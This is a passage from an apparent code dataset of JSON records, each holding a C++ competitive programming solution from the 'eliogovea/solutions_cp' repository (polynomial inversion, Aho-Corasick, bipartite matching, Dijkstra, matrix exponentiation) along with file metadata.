<int> R(max(P.size(), Q.size()));\n\t\tfor (int i = 0; i < R.size(); i++) {\n\t\t\tif (i < P.size()) {\n\t\t\t\tadd(R[i], P[i]);\n\t\t\t}\n\t\t\tif (i < Q.size()) {\n\t\t\t\tadd(R[i], Q[i]);\n\t\t\t}\n\t\t}\n\t\treturn R;\n\t}\n\n\tvoid _mul(vector <int> & P, vector <int> Q) {\n\t\t// TODO\n\t}\n\n\tvector <int> inverse(vector <int> P, int m) {\n\t\tif (P[0] == 0) {\n\t\t\treturn vector <int> ();\n\t\t}\n\n\t\tint c = power(P[0], M - 2);\n\n\t\tif (m == 1) {\n\t\t\treturn vector <int> (1, c);\n\t\t}\n\n\t\tint n = 1;\n\t\twhile (n < m) {\n\t\t\tn <<= 1;\n\t\t}\n\n\n\t\tP.resize(n);\n\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tP[i] = mul(P[i], c);\n\t\t}\n\n\t\tvector <int> Q(n);\n\t\tQ[0] = 0;\n\t\tfor (int i = 1; i < n; i++) {\n\t\t\tQ[i] = M - P[i];\n\t\t\tif (Q[i] == M) {\n\t\t\t\tQ[i] = 0;\n\t\t\t}\n\t\t}\n\n\t\tvector <int> R(1, 1);\n\t\tint e = 1;\n\t\twhile (e < n) {\n\t\t\tassert(Q[0] == 0);\n\t\t\tQ[0] = 1;\n\t\t\tR = mul(R, Q);\n\t\t\tR.resize(n);\n\t\t\tQ[0] = 0;\n\t\t\tQ = mul(Q, Q);\n\t\t\tQ.resize(n);\n\t\t\te <<= 1;\n\t\t}\n\n\t\tauto S = mul(R, P);\n\n\t\tassert(S[0] == 1);\n\t\tfor (int i = 1; i < n; i++) {\n\t\t\tassert(S[i] == 0);\n\t\t}\n\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tR[i] = mul(R[i], c);\n\t\t}\n\t\tR.resize(m);\n\t\treturn R;\n\t}\n};\n\nstatic FFT <7340033> fft;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint m, n;\n\tcin >> m >> n;\n\n\tvector <int> P(n + 1);\n\tfor (auto & x : P) {\n\t\tcin >> x;\n\t}\n\n\tP.resize(m);\n\n\tauto Q = fft.inverse(P, m);\n\n\tif (!Q.size()) {\n\t\tcout << \"The ears of a dead donkey\\n\";\n\t} else {\n\t\tfor (int i = 0; i < m; i++) {\n\t\t\tcout << Q[i];\n\t\t\tif (i + 1 < m) {\n\t\t\t\tcout << \" \";\n\t\t\t}\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.4106280207633972, "alphanum_fraction": 0.4202898442745209, "avg_line_length": 17.714284896850586, "blob_id": "8c801020a2b9c1f59df3a74879dab8d6f89a7fc5", "content_id": "b6e18d454535461a3284e95b8d19343af2f0de7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 414, "license_type": "no_license", "max_line_length": 47, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2865-Accepted-s620086.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <string>\r\n#include <iostream>\r\nusing namespace std;\r\n\r\nstring str;\r\nint a, b;\r\n\r\nint main()\r\n{\r\n cin >> str;\r\n int s = str.size();\r\n for (int i = 0; i < s; i++)\r\n if (str[i] == '0') {\r\n b++;\r\n a += (str[ (i + 1) % s ] == '0');\r\n }\r\n if (a * s > b * b) cout << \"SHOOT\\n\";\r\n else if (a * s == b * b) cout << \"EQUAL\\n\";\r\n else cout << \"ROTATE\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5444444417953491, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 14.363636016845703, "blob_id": "62bc2d99b1f39a909ec5e873b9906dc3e1a94710", "content_id": "9c9d2dc3adfbd857840095225c734e9a7c21eb77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 180, "license_type": "no_license", "max_line_length": 68, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p1618-Accepted-s493174.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n,a,b;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d%d%d\",&n,&a,&b)!=EOF)printf(\"%d\\n\",min(n-a,b+1));\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.32717475295066833, "alphanum_fraction": 0.3648960590362549, "avg_line_length": 23.05555534362793, "blob_id": "41a834306e7468168edae6abfb907655df32baef", "content_id": "185810114f5fd524451816b3ae3be8f605b9fedf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1299, "license_type": "no_license", "max_line_length": 118, "num_lines": 54, "path": "/Codeforces-Gym/101078 - 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)\n// 101078A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nint n;\nint a[100005];\nint b[100005];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cin >> t;\n while (t--) {\n cin >> n;\n for (int i = 1; i <= n; i++) {\n cin >> a[i];\n }\n for (int i = 1; i <= n; i++) {\n cin >> b[i];\n }\n set <int> S;\n vector <int> ans;\n ans.push_back(0);\n for (int i = 1; i <= n; i++) {\n if (S.find(a[i]) != S.end()) {\n S.erase(S.find(a[i]));\n } else {\n S.insert(a[i]);\n }\n if (S.find(b[i]) != S.end()) {\n S.erase(S.find(b[i]));\n } else {\n S.insert(b[i]);\n }\n if (S.size() == 0) {\n ans.push_back(i);\n }\n }\n assert(!S.size());\n assert(ans.back() == n);\n for (int i = 1; i < ans.size(); i++) {\n cout << ans[i - 1] + 1 << \"-\" << ans[i];\n if (i + 1 < ans.size()) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.404296875, "alphanum_fraction": 0.427734375, "avg_line_length": 17.69230842590332, "blob_id": "0f5572fe7ef92204abc61b85f50d69b44bd4d114", "content_id": "562803800f03cae406e7e5ba79cc00629dfe1663", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1536, "license_type": "no_license", "max_line_length": 45, "num_lines": 78, "path": "/COJ/eliogovea-cojAC/eliogovea-p2210-Accepted-s660686.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 20015, MAXL = 40;\r\n\r\nstruct vertex {\r\n\tint par;\r\n\tchar ch;\r\n\tint cnt;\r\n\tint next[26];\r\n} T[MAXN * MAXL];\r\n\r\nint states = 1;\r\n\r\nvector<int> Lev[MAXL];\r\n\r\nint N, Q, D, K;\r\nstring s;\r\nvector<string> ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> N;\r\n\r\n\tT[0].ch = '\\0';\r\n\tT[0].par = -1;\r\n\tT[0].cnt = 0;\r\n\tfor (int i = 0; i < 26; i++)\r\n T[0].next[i] = -1;\r\n\r\n\twhile (N--) {\r\n\t\tcin >> s;\r\n\t\tint cur = 0, l = 0;\r\n for (int i = s.size() - 1; i >= 0; i--) {\r\n l++;\r\n char c = s[i] - 'a';\r\n if (T[cur].next[c] == -1) {\r\n T[cur].next[c] = states++;\r\n T[T[cur].next[c]].par = cur;\r\n T[T[cur].next[c]].ch = s[i];\r\n T[T[cur].next[c]].cnt = 0;\r\n for (int i = 0; i < 26; i++)\r\n T[T[cur].next[c]].next[i] = -1;\r\n Lev[l].push_back(T[cur].next[c]);\r\n }\r\n cur = T[cur].next[c];\r\n T[cur].cnt++;\r\n }\r\n\t}\r\n\tcin >> Q;\r\n\twhile (Q--) {\r\n\t\tcin >> K >> D;\r\n\t\tans.clear();\r\n\t\tfor (int i = 0; i < Lev[D].size(); i++)\r\n\t\t\tif (T[Lev[D][i]].cnt >= K) {\r\n\t\t\t\tint x = Lev[D][i];\r\n\t\t\t\ts.clear();\r\n\t\t\t\twhile (x) {\r\n\t\t\t\t\ts += T[x].ch;\r\n\t\t\t\t\tx = T[x].par;\r\n\t\t\t\t}\r\n\t\t\t\tans.push_back(s);\r\n\t\t\t}\r\n\t\tif (ans.size() == 0) cout << \"CLEAR\\n\";\r\n\t\telse {\r\n\t\t\tsort(ans.begin(), ans.end());\r\n\t\t\tfor (int i = 0; i < ans.size(); i++)\r\n\t\t\t\tcout << ans[i] << \"\\n\";\r\n\t\t}\r\n\t\tif (Q) cout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3784440755844116, "alphanum_fraction": 0.40437600016593933, "avg_line_length": 17.90322494506836, "blob_id": "f5573c98425c9e825f0cd297510c7fc8fe19e0ae", "content_id": "5582c56b502a6cd72e562298188173f117565969", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1234, "license_type": "no_license", "max_line_length": 65, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p2966-Accepted-s645173.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAXN = 11, mod = 1000000007;\r\n\r\nint tc, n, m, q;\r\n\r\nstruct matrix {\r\n\tll m[MAXN + 1][MAXN + 1];\r\n\tvoid init() {\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\tm[i][j] = 0;\r\n\t}\r\n\tvoid ide() {\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\tm[i][j] = (i == j);\r\n\t}\r\n\tmatrix operator * (const matrix &a) {\r\n\t\tmatrix r;\r\n\t\tr.init();\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tfor (int j = 0; j < n; j++)\r\n\t\t\t\tfor (int k = 0; k < n; k++)\r\n\t\t\t\t\tr.m[i][j] = (r.m[i][j] + (m[i][k] * a.m[k][j]) % mod) % mod;\r\n\t\treturn r;\r\n\t}\r\n\tmatrix exp(ll e) {\r\n\t\tmatrix r, x = *this;\r\n\t\tr.ide();\r\n\t\twhile (e) {\r\n\t\t\tif (e & 1ll) r = r * x;\r\n\t\t\tx = x * x;\r\n\t\t\te >>= 1ll;\r\n\t\t}\r\n\t\treturn r;\r\n\t}\r\n} M;\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d\", &tc);\r\n\tfor (int cas = 1; cas <= tc; cas++) {\r\n\t\tscanf(\"%d%d\", &n, &m);\r\n\t\tM.init();\r\n\t\tfor (int i = 0, a, b; i < m; i++) {\r\n\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\tM.m[a - 1][b - 1] = 1ll;\r\n\t\t}\r\n\t\tprintf(\"Case %d:\\n\", cas);\r\n\t\tscanf(\"%d\", &q);\r\n\t\tint a, b; ll c;\r\n\t\tfor (int i = 0; i < q; i++) {\r\n\t\t\tscanf(\"%d%d%lld\", &a, &b, &c);\r\n\t\t\tprintf(\"%lld\\n\", M.exp(c).m[a - 1][b - 1]);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4212108254432678, "alphanum_fraction": 0.4443967342376709, "avg_line_length": 17.054264068603516, "blob_id": "e823041a572f7657de4164618b45d7c84fe8c98c", "content_id": "d4e4b9270d0703c7d36cb796d1fc2f910d292092", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2329, "license_type": "no_license", "max_line_length": 88, "num_lines": 129, "path": "/POJ/3691.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <algorithm>\n#include <queue>\n#include <string>\n\nusing namespace std;\n\nconst string alph = \"ACGT\";\n\nconst int N = 40;\nconst int L = 40;\n\nstruct node {\n\tint fail;\n\tbool fin;\n\tint next[4];\n\tnode() {\n\t\tfail = -1;\n\t\tfin = false;\n\t\tfor (int i = 0; i < 4; i++) {\n\t\t\tnext[i] = -1;\n\t\t}\n\t}\n} t[N * L];\n\nint sz = 1;\n\nvoid add(const string &s) {\n\tint cur = 0;\n\tfor (int i = 0; s[i]; i++) {\n\t\tchar ch = lower_bound(alph.begin(), alph.end(), s[i]) - alph.begin();\n\t\tif (t[cur].next[ch] == -1) {\n\t\t\tt[sz] = node();\n\t\t\tt[cur].next[ch] = sz++;\n\t\t}\n\t\tcur = t[cur].next[ch];\n\t}\n\tt[cur].fin = true;\n}\n\nqueue<int> Q;\n\nvoid build() {\n\tfor (int i = 0; i < 4; i++) {\n\t\tif (t[0].next[i] == -1) {\n\t\t\tt[0].next[i] = 0;\n\t\t} else {\n\t\t\tt[t[0].next[i]].fail = 0;\n\t\t\tQ.push(t[0].next[i]);\n\t\t}\n\t}\n\twhile (!Q.empty()) {\n\t\tint cur = Q.front();\n\t\tQ.pop();\n\t\tfor (int i = 0; i < 4; i++) {\n\t\t\tif (t[cur].next[i] != -1) {\n\t\t\t\tint next = t[cur].next[i];\n\t\t\t\tint fail = t[cur].fail;\n\t\t\t\twhile (t[fail].next[i] == -1) {\n\t\t\t\t\tfail = t[fail].fail;\n\t\t\t\t}\n\t\t\t\tfail = t[fail].next[i];\n\t\t\t\tt[next].fail = fail;\n\t\t\t\tt[next].fin |= t[fail].fin;\n\t\t\t\tQ.push(next);\n\t\t\t}\n\t\t}\n\t}\n}\n\nint find_next(int cur, char ch) {\n\twhile (t[cur].next[ch] == -1) {\n\t\tcur = t[cur].fail;\n\t}\n\tcur = t[cur].next[ch];\n\treturn cur;\n}\n\nint n;\nstring s;\nstring dna;\n\nint dp[1005][N * L];\n\nint cas = 1;\n\nint main() {\n\twhile (cin >> n && n) {\n\t\tt[0] = node();\n\t\tsz = 1;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> s;\n\t\t\tadd(s);\n\t\t}\n\t\tcin >> dna;\n\t\tbuild();\n\t\tfor (int i = 0; i <= dna.size(); i++) {\n\t\t\tfor (int j = 0; j < sz; j++) {\n\t\t\t\tdp[i][j] = -1;\n\t\t\t}\n\t\t}\n\t\tdp[0][0] = 0;\n\t\tfor (int i = 0; i < dna.size(); i++) {\n\t\t\tint ch = lower_bound(alph.begin(), alph.end(), dna[i]) - alph.begin();\n\t\t\tfor (int j = 0; j < sz; j++) {\n\t\t\t\tif ((t[j].fin) || (dp[i][j] == -1)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tfor (int k = 0; k < 4; k++) {\n\t\t\t\t\tint next = find_next(j, k);\n\t\t\t\t\tif (t[next].fin) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tint tmp = dp[i][j] + (ch != k);\n\t\t\t\t\tif (dp[i + 1][next] == -1 || tmp < dp[i + 1][next]) {\n\t\t\t\t\t\tdp[i + 1][next] = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tint ans = -1;\n\t\tfor (int i = 0; i < sz; i++) {\n\t\t\tif (!t[i].fin && dp[dna.size()][i] != -1 && (ans == -1 || dp[dna.size()][i] < ans)) {\n\t\t\t\tans = dp[dna.size()][i];\n\t\t\t}\n\t\t}\n\t\tcout << \"Case \" << cas++ << \": \" << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.40612074732780457, "alphanum_fraction": 0.44334161281585693, "avg_line_length": 16.890625, "blob_id": "1343117ff1d75e659867ba2b5db5d44ce9fed72b", "content_id": "9d7ce45ad35cf68327225748e8044d4a07746688", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1209, "license_type": "no_license", "max_line_length": 50, "num_lines": 64, "path": "/COJ/eliogovea-cojAC/eliogovea-p2450-Accepted-s826341.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nint n, x[50005], y[50005];\r\nint xx[50005], yy[50005];\r\n\r\nvector<int> g[50005];\r\nint match[50005];\r\nint used[50005], id;\r\n\r\nbool kuhn(int u) {\r\n\tif (used[u] == id) {\r\n\t\treturn false;\r\n\t}\r\n\tused[u] = id;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (match[v] == -1 || kuhn(match[v])) {\r\n\t\t\tmatch[v] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> x[i] >> y[i];\r\n\t\t\txx[i] = x[i];\r\n\t\t\tyy[i] = y[i];\r\n\t\t}\r\n\t\tsort(xx, xx + n);\r\n\t\tsort(yy, yy + n);\r\n\t\tint cntx = unique(xx, xx + n) - xx;\r\n\t\tint cnty = unique(yy, yy + n) - yy;\r\n\t\tfor (int i = 0; i < cntx; i++) {\r\n\t\t\tg[i].clear();\r\n\t\t}\r\n\t\tfor (int i = 0; i < cnty; i++) {\r\n\t\t\tmatch[i] = -1;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint px = lower_bound(xx, xx + cntx, x[i]) - xx;\r\n\t\t\tint py = lower_bound(yy, yy + cnty, y[i]) - yy;\r\n\t\t\tg[px].push_back(py);\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 0; i < cntx; i++) {\r\n\t\t\tid++;\r\n\t\t\tif (kuhn(i)) {\r\n\t\t\t\tans++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.27272728085517883, "alphanum_fraction": 0.29403409361839294, "avg_line_length": 21.46666717529297, "blob_id": "8753de2dd908cfbba538c1cbfffd7dd62ac55c36", "content_id": "00d4be824a186b51c4f4b665a56d123162b6b623", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 704, "license_type": "no_license", "max_line_length": 65, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p1043-Accepted-s486833.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<vector>\r\nusing namespace std;\r\n\r\nint n,m,a[15],j;\r\nvector<int> v;\r\n\r\nint main( ){\r\n std::ios::sync_with_stdio(0);\r\n cin>>n;\r\n for(int i=0; i<n; i++){\r\n int m;\r\n cin >> m;\r\n j=-1;\r\n while( m ){\r\n a[++j]=m&1;\r\n m>>=1;\r\n }\r\n for(int k=0; k<15; k++)if(a[k])\r\n {\r\n v.push_back(k);\r\n a[k]=0;\r\n }\r\n\r\n for(int i=0; i<v.size()-1; i++)cout << v[i] << \" \";\r\n cout << v[v.size()-1] << endl;\r\n v.clear();\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.46739131212234497, "alphanum_fraction": 0.5, "avg_line_length": 14.352941513061523, "blob_id": "dcbe5258484aec301328669e8ae998116207c4ca", "content_id": "e63f916b27794e28d617f44589c2f59f9c52ad86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 276, "license_type": "no_license", "max_line_length": 37, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p3048-Accepted-s1129914.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\tdouble C = sqrt(3.0) - 0.5 * 3.14;\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tdouble r;\r\n\t\tcin >> r;\r\n\t\tcout << fixed << C * r * r << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.36886632442474365, "alphanum_fraction": 0.38747885823249817, "avg_line_length": 21.639999389648438, "blob_id": "608c975c6c17cd92082f19c501b9cb18889f56df", "content_id": "b0a7a01a2c6c21ab3ae74ea8f67016253cb0ca0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1182, "license_type": "no_license", "max_line_length": 78, "num_lines": 50, "path": "/COJ/eliogovea-cojAC/eliogovea-p3016-Accepted-s691299.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 3016.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 40005;\r\n\r\nint n, x, y, z, a[N + 5], b[N + 5], ac[N + 5], ans;\r\nvector<int> v;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> n >> x >> y >> z;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i] >> b[i];\r\n\t\tv.push_back(a[i]);\r\n\t\tv.push_back(b[i]);\r\n\t}\r\n\tsort(v.begin(), v.end());\r\n\tv.erase(unique(v.begin(), v.end()), v.end());\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\ta[i] = upper_bound(v.begin(), v.end(), a[i]) - v.begin();\r\n\t\tb[i] = upper_bound(v.begin(), v.end(), b[i]) - v.begin();\r\n\t\tac[0] += x;\r\n\t\tac[a[i]] -= x;\r\n\t\tac[a[i]] += y;\r\n\t\tac[b[i] + 1] -= y;\r\n\t\tac[b[i] + 1] += z;\r\n\t\tac[N] -= z;\r\n\t}\r\n\r\n\tint ans = 0;\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tac[i] += ac[i - 1];\r\n\t\tif (ac[i] > ans) {\r\n\t\t\tans = ac[i];\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36986300349235535, "alphanum_fraction": 0.3835616409778595, "avg_line_length": 14.590909004211426, "blob_id": "4236e9556895a36bd04ad38e03ce247efd158114", "content_id": "0e47a70380e26313e0f27a0606be4d22589fd07a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 365, "license_type": "no_license", "max_line_length": 46, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2624-Accepted-s531132.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint c,n,m,a[50];\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d%d\",&m,&n);\r\n for(int i=0; i<n; i++)\r\n scanf(\"%d\",&a[i]);\r\n\r\n sort(a,a+n);\r\n\r\n int c=0,ac=0;\r\n for(;ac+a[c]<=m && c<n; ac+=a[c],c++);\r\n\r\n printf(\"%d\\n\",c);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4419889450073242, "alphanum_fraction": 0.4806629717350006, "avg_line_length": 11.923076629638672, "blob_id": "8d212511a63daa44252043cd39f16e8459524d06", "content_id": "3fa5041863e85d20c82010df2a7190763ac57214", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 181, "license_type": "no_license", "max_line_length": 46, "num_lines": 13, "path": "/COJ/eliogovea-cojAC/eliogovea-p3072-Accepted-s727816.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 3072 - Watermelon\r\n\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint w;\r\n\r\nint main() {\r\n\tcin >> w;\r\n\tif ((w > 2) && (w % 2 == 0)) cout << \"YES\\n\";\r\n\telse cout << \"NO\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4422943890094757, "alphanum_fraction": 0.4671734571456909, "avg_line_length": 17.554054260253906, "blob_id": "cadcd5d75ceb9418747b4377f1fce3232e4b815f", "content_id": "c2eef3ad298f2d9823a9d6497fd01aeb564457ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1447, "license_type": "no_license", "max_line_length": 54, "num_lines": 74, "path": "/COJ/eliogovea-cojAC/eliogovea-p3190-Accepted-s784741.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nint n, m;\r\nvector<int> ady[N];\r\nvector<int> cost[N];\r\npair<int, pair<int, int> > arc[250005];\r\n\r\nvector<int> dist[2];\r\nvector<bool> used;\r\npriority_queue<pair<int, int> > Q;\r\n\r\nvoid dijkstra(int s, vector<int> &d) {\r\n\td.resize(n + 5);\r\n\tused.resize(n + 5);\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\td[i] = 1 << 29;\r\n\t\tused[i] = false;\r\n\t}\r\n\td[s] = 0;\r\n\tQ.push(make_pair(0, s));\r\n\twhile (!Q.empty()) {\r\n\t\tint u = Q.top().second;\r\n\t\tQ.pop();\r\n\t\tif (used[u]) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tused[u] = true;\r\n\t\tfor (int i = 0; i < ady[u].size(); i++) {\r\n\t\t\tint v = ady[u][i];\r\n\t\t\tint w = cost[u][i];\r\n\t\t\tif (d[v] > d[u] + w) {\r\n\t\t\t\td[v] = d[u] + w;\r\n\t\t\t\tQ.push(make_pair(-d[v], v));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint ans = 0;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> m;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tint u, v, w;\r\n\t\tcin >> u >> v >> w;\r\n\t\tarc[i] = make_pair(w, make_pair(u, v));\r\n\t\tady[u].push_back(v);\r\n\t\tcost[u].push_back(w);\r\n\t\tady[v].push_back(u);\r\n\t\tcost[v].push_back(w);\r\n\t}\r\n\tdijkstra(0, dist[0]);\r\n\tdijkstra(n - 1, dist[1]);\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tint u, v, w;\r\n\t\tu = arc[i].second.first;\r\n\t\tv = arc[i].second.second;\r\n\t\tw = arc[i].first;\r\n\t\tif (dist[0][u] > dist[0][v]) {\r\n\t\t\tswap(u, v);\r\n\t\t}\r\n\t\tif (dist[0][n - 1] == dist[0][u] + w + dist[1][v]) {\r\n\t\t\tans += 2 * w;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.39534884691238403, "alphanum_fraction": 0.4149566888809204, "avg_line_length": 17.274999618530273, "blob_id": "adad632ed6aaab590b434fb1769459618d16bf53", "content_id": "9bc5ed2befb747d4c677940b56a1558f98d8b870", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2193, "license_type": "no_license", "max_line_length": 74, "num_lines": 120, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n/*\nstruct point {\n double x, y;\n point(double _x = 0, double _y = 0) {\n x = _x;\n y = _y;\n }\n};\n\npoint operator + (const point & P, const point & Q) {\n return point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point & P, const point & Q) {\n return point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator + (const point & P, double) {\n return point(k * P.x, k * P.y);\n}\n\ninline double dot(const point & P, const point & Q) {\n return P.x * Q.x + P.y * Q.y;\n}\n\ninline double dist(const point & P, const point & Q) {\n return sqrt(dot(P - Q, P - Q));\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n int a, b, c;\n cin >> a >> b >> c;\n\n vector <point> P = {point()}\n}\n*/\n\ninline char val(int n) {\n if (n < 10) {\n return '0' + n;\n }\n return 'A' + (n - 10);\n}\n\ninline int charVal(char c) {\n if ('0' <= c && c <= '9') {\n return c - '0';\n }\n if ('A' <= c && c <= 'Z') {\n return 10 + (c - 'A');\n }\n return -1;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n const int INF = 2 * 1000 * 1000 * 1000;\n\n vector <long long> f;\n f.push_back(1);\n while (f.back() < INF) {\n f.push_back(f.back() * (long long)f.size());\n }\n\n string s;\n cin >> s;\n\n long long sum = 0;\n\n int sign = 1;\n for (int i = 0, j = 0; i < s.size(); i = j) {\n while (j < s.size() && charVal(s[j]) != -1) 